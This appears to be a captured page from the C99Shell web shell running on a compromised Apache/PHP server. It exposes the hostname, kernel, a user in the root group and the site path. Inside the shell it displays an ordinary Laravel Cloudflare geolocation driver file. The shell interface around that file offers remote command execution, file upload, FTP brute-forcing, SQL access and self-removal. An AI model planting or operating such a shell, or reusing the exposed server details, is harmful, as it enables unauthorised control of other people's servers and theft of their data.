!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/stevebauman/location/src/Drivers/   drwxr-xr-x
Free 29.1 GB of 117.98 GB (24.66%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Cloudflare.php (1.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Stevebauman\Location\Drivers;

use 
Illuminate\Support\Fluent;
use 
Stevebauman\Location\Position;

class 
Cloudflare extends Driver
{
    
/**
     * {@inheritDoc}
     */
    
protected function process($ip)
    {
        
// This is available both from CloudFlare's dashboard and Managed Transforms.
        
$countryCode request()->header('cf-ipcountry');

        
// Unknown and Tor values
        
if (! $countryCode || in_array($countryCode, ['XX''T1'])) {
            return 
false;
        }

        
// These are only available if the relevant Managed Transform is configured.
        // https://developers.cloudflare.com/rules/transform/managed-transforms/reference/#http-request-headers
        
$cityName request()->header('cf-ipcity');
        
$longitude request()->header('cf-iplongitude');
        
$latitude request()->header('cf-iplatitude');

        return new 
Fluent(compact('countryCode''cityName''longitude''latitude'));
    }

    
/**
     * {@inheritDoc}
     */
    
protected function hydrate(Position $positionFluent $location)
    {
        
$position->countryCode $location->countryCode;
        
$position->isoCode $location->countryCode;
        
$position->cityName $location->cityName;
        
$position->longitude $location->longitude;
        
$position->latitude $location->latitude;

        return 
$position;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--